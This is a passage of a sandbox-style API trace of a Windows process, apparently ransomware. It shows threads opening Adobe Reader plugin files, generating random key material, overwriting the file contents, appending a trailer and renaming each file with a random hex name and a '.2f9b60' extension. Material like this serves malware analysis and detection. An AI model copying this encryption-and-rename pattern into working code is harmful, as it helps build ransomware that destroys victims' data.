liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.307] WriteFile (hFile=0x6ec, lpBuffer=0x42692110, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x3414fc34, lpOverlapped=0x0) [0186.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca760 [0186.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca790 [0186.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca790) returned 1 [0186.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42692110) returned 1 [0186.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4268e500) returned 1 [0186.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307d00) returned 1 [0186.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bde0) returned 1 [0186.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca790 [0186.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bde0 [0186.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307d00 [0186.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca7c0 [0186.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca7c0) returned 1 [0186.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca7c0 [0186.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca7f0 [0186.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca820 [0186.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca820) returned 1 [0186.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307d00) returned 1 [0186.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bde0) returned 1 [0186.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x431031c0 [0186.698] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.698] WriteFile (in: hFile=0x6ec, lpBuffer=0x431031c0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3414fd50, lpOverlapped=0x0 | out: lpBuffer=0x431031c0*, lpNumberOfBytesWritten=0x3414fd50*=0x108, lpOverlapped=0x0) returned 1 [0201.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a87d0 [0201.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a87d0) returned 1 [0201.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0201.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a87d0 [0201.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8650 [0201.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8650) returned 1 [0201.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d130 [0201.020] sprintf (in: _Dest=0x1ce5d130, _Format="%c%c" | out: _Dest="25") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d132, _Format="%c%c" | out: _Dest="1b") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d134, _Format="%c%c" | out: _Dest="f8") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d136, _Format="%c%c" | out: _Dest="2a") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d138, _Format="%c%c" | out: _Dest="41") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d13a, _Format="%c%c" | out: _Dest="68") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d13c, _Format="%c%c" | out: _Dest="93") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d13e, _Format="%c%c" | out: _Dest="0b") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d140, _Format="%c%c" | out: _Dest="fc") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d142, _Format="%c%c" | out: _Dest="69") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d144, _Format="%c%c" | out: _Dest="fe") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d146, _Format="%c%c" | out: _Dest="89") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d148, _Format="%c%c" | out: _Dest="ac") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d14a, _Format="%c%c" | out: _Dest="64") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d14c, _Format="%c%c" | out: _Dest="bf") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d14e, _Format="%c%c" | out: _Dest="d9") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d150, _Format="%c%c" | out: _Dest="86") returned 2 [0201.021] sprintf (in: _Dest=0x1ce5d152, _Format="%c%c" | out: _Dest="80") returned 2 [0201.022] sprintf (in: _Dest=0x1ce5d154, _Format="%c%c" | out: _Dest="83") returned 2 [0201.022] sprintf (in: _Dest=0x1ce5d156, _Format="%c%c" | out: _Dest="7a") returned 2 [0201.022] sprintf (in: _Dest=0x1ce5d158, _Format="%c%c" | out: _Dest="c7") returned 2 [0201.022] sprintf (in: _Dest=0x1ce5d15a, _Format="%c%c" | out: _Dest="59") returned 2 [0201.022] RtlInitAnsiString (in: DestinationString=0x3414fdc8, SourceString="251bf82a4168930bfc69fe89ac64bfd98680837ac759" | out: DestinationString="251bf82a4168930bfc69fe89ac64bfd98680837ac759") [0201.022] RtlAnsiStringToUnicodeString (in: DestinationString=0x3414fd98, SourceString="251bf82a4168930bfc69fe89ac64bfd98680837ac759", AllocateDestinationString=1 | out: DestinationString="251bf82a4168930bfc69fe89ac64bfd98680837ac759") returned 0x0 [0201.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce15610 [0201.022] wcscat (in: _Dest=0x43189800, _Source="251bf82a416" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\251bf82a416") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\251bf82a416" [0201.023] wcscat (in: _Dest=0x43189800, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\251bf82a416.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\251bf82a416.2f9b60" [0201.023] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\251bf82a416.2f9b60", NtPathName=0x3414fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\251bf82a416.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314ad20 Thread: id = 2604 os_tid = 0x211c [0156.495] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rum")) returned 0x20 [0156.496] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUM", dwFileAttributes=0x20) returned 1 [0156.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rum"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe5c [0156.498] GetFileSizeEx (in: hFile=0xe5c, lpFileSize=0x347ff7a0 | out: lpFileSize=0x347ff7a0*=8192) returned 1 [0156.498] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.498] ReadFile (in: hFile=0xe5c, lpBuffer=0x347ff720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x347ff768, lpOverlapped=0x0 | out: lpBuffer=0x347ff720*, lpNumberOfBytesRead=0x347ff768*=0x4, lpOverlapped=0x0) returned 1 [0159.076] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2bd0 [0159.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c60 [0159.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c90 [0159.076] NtQuerySystemTime (in: CurrentTime=0x347ff660 | out: CurrentTime=0x347ff660*=132462177642130000) returned 0x0 [0159.076] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x2dbe3341 [0159.076] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x5acc1e02 [0159.076] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x70958b3a [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x2756346e [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x30708c08 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x4a54d777 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x6b2cecdf [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0xd05b8e7 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x3700fbd8 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x36027350 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x2c8c8583 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x6fb90986 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x43c48b96 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x2ec85e71 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x70671b73 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x41ff1931 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x6ddb3039 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0xc1202fc [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x7cf7916f [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x7f5a2976 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x76f1166f [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x5ab67ac9 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x65f0702f [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x35d21671 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x72191d79 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x6dbe6a7 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x92069a5 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x3697c5e4 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x2a7797b1 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x2e1c7e96 [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x5ea73b9e [0159.077] RtlRandomEx (in: Seed=0x347ff650 | out: Seed=0x347ff650) returned 0x3e612a5b [0159.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2cc0 [0159.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307f00 [0159.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2d20 [0159.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307f00) returned 1 [0159.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2c90) returned 1 [0159.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2bd0) returned 1 [0159.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf20 [0159.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307f00 [0159.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2bd0 [0159.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2bd0) returned 1 [0159.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce869f0 [0159.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce68970 [0159.098] ReadFile (in: hFile=0xe5c, lpBuffer=0x1ce869f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x347ff650, lpOverlapped=0x0 | out: lpBuffer=0x1ce869f0*, lpNumberOfBytesRead=0x347ff650*=0x2000, lpOverlapped=0x0) returned 1 [0160.914] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.914] WriteFile (hFile=0xe5c, lpBuffer=0x1ce68970, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x347ff654, lpOverlapped=0x0) [0181.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e0a0 [0181.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e0d0 [0181.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e0d0) returned 1 [0181.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce68970) returned 1 [0181.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce869f0) returned 1 [0181.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307f00) returned 1 [0181.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf20) returned 1 [0181.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d2e0d0 [0181.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf20 [0181.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307f00 [0181.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e100 [0181.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e100) returned 1 [0181.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d2e100 [0181.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e130 [0181.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e160 [0181.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e160) returned 1 [0181.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307f00) returned 1 [0181.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf20) returned 1 [0181.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43102720 [0186.444] SetFilePointerEx (in: hFile=0xe5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.445] WriteFile (in: hFile=0xe5c, lpBuffer=0x43102720*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x347ff770, lpOverlapped=0x0 | out: lpBuffer=0x43102720*, lpNumberOfBytesWritten=0x347ff770*=0x108, lpOverlapped=0x0) returned 1 [0200.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0200.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2de0 [0200.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2de0) returned 1 [0200.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d260 [0200.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2de0 [0200.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2db0 [0200.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2db0) returned 1 [0200.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0200.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d0b0 [0200.770] sprintf (in: _Dest=0x1ce5d0b0, _Format="%c%c" | out: _Dest="f3") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0b2, _Format="%c%c" | out: _Dest="66") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0b4, _Format="%c%c" | out: _Dest="ab") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0b6, _Format="%c%c" | out: _Dest="09") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0b8, _Format="%c%c" | out: _Dest="e7") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0ba, _Format="%c%c" | out: _Dest="96") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0bc, _Format="%c%c" | out: _Dest="d2") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0be, _Format="%c%c" | out: _Dest="ff") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0c0, _Format="%c%c" | out: _Dest="26") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0c2, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0c4, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0c6, _Format="%c%c" | out: _Dest="fd") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0c8, _Format="%c%c" | out: _Dest="5c") returned 2 [0200.770] sprintf (in: _Dest=0x1ce5d0ca, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.771] sprintf (in: _Dest=0x1ce5d0cc, _Format="%c%c" | out: _Dest="7f") returned 2 [0200.771] sprintf (in: _Dest=0x1ce5d0ce, _Format="%c%c" | out: _Dest="ee") returned 2 [0200.771] sprintf (in: _Dest=0x1ce5d0d0, _Format="%c%c" | out: _Dest="e9") returned 2 [0200.771] sprintf (in: _Dest=0x1ce5d0d2, _Format="%c%c" | out: _Dest="30") returned 2 [0200.771] sprintf (in: _Dest=0x1ce5d0d4, _Format="%c%c" | out: _Dest="6e") returned 2 [0200.771] sprintf (in: _Dest=0x1ce5d0d6, _Format="%c%c" | out: _Dest="54") returned 2 [0200.771] sprintf (in: _Dest=0x1ce5d0d8, _Format="%c%c" | out: _Dest="c1") returned 2 [0200.771] sprintf (in: _Dest=0x1ce5d0da, _Format="%c%c" | out: _Dest="84") returned 2 [0200.771] RtlInitAnsiString (in: DestinationString=0x347ff7e8, SourceString="f366ab09e796d2ff263cf4fd5c4f7feee9306e54c184" | out: DestinationString="f366ab09e796d2ff263cf4fd5c4f7feee9306e54c184") [0200.771] RtlAnsiStringToUnicodeString (in: DestinationString=0x347ff7b8, SourceString="f366ab09e796d2ff263cf4fd5c4f7feee9306e54c184", AllocateDestinationString=1 | out: DestinationString="f366ab09e796d2ff263cf4fd5c4f7feee9306e54c184") returned 0x0 [0200.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a0f30 [0200.772] wcscat (in: _Dest=0x43188fe0, _Source="f366ab09e79" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\f366ab09e79") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\f366ab09e79" [0200.772] wcscat (in: _Dest=0x43188fe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\f366ab09e79.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\f366ab09e79.2f9b60" [0200.772] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\f366ab09e79.2f9b60", NtPathName=0x347ff790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\f366ab09e79.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x431ee520 Thread: id = 2605 os_tid = 0x2120 [0156.500] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rus")) returned 0x20 [0156.500] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUS", dwFileAttributes=0x20) returned 1 [0156.501] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rus"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1184 [0156.501] GetFileSizeEx (in: hFile=0x1184, lpFileSize=0x33b0fd80 | out: lpFileSize=0x33b0fd80*=7680) returned 1 [0156.501] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.501] ReadFile (in: hFile=0x1184, lpBuffer=0x33b0fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33b0fd48, lpOverlapped=0x0 | out: lpBuffer=0x33b0fd00*, lpNumberOfBytesRead=0x33b0fd48*=0x4, lpOverlapped=0x0) returned 1 [0159.125] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5b90 [0159.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2bd0 [0159.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2de0 [0159.126] NtQuerySystemTime (in: CurrentTime=0x33b0fc40 | out: CurrentTime=0x33b0fc40*=132462177642598000) returned 0x0 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0xb02d696 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x6c132846 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x420d00c1 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x29e8376c [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x3f7d5f07 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x556b27d0 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x103b6f33 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x393fe3ad [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x2f1e5ddb [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x7ca7b918 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x26bbca0a [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x53123915 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x655606bc [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x71965d81 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x7b3e0878 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x60954c5c [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x5da39f85 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x7c714410 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x23104362 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x1874f8e7 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x6b743d4b [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x5aac4978 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x2c52d740 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x7a3bed31 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x66a71323 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x5d091408 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x18d8716c [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x5a530f6b [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x66a72ac8 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x72f99fc5 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x2628ea31 [0159.126] RtlRandomEx (in: Seed=0x33b0fc30 | out: Seed=0x33b0fc30) returned 0x74c03ed [0159.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2e70 [0159.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308000 [0159.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 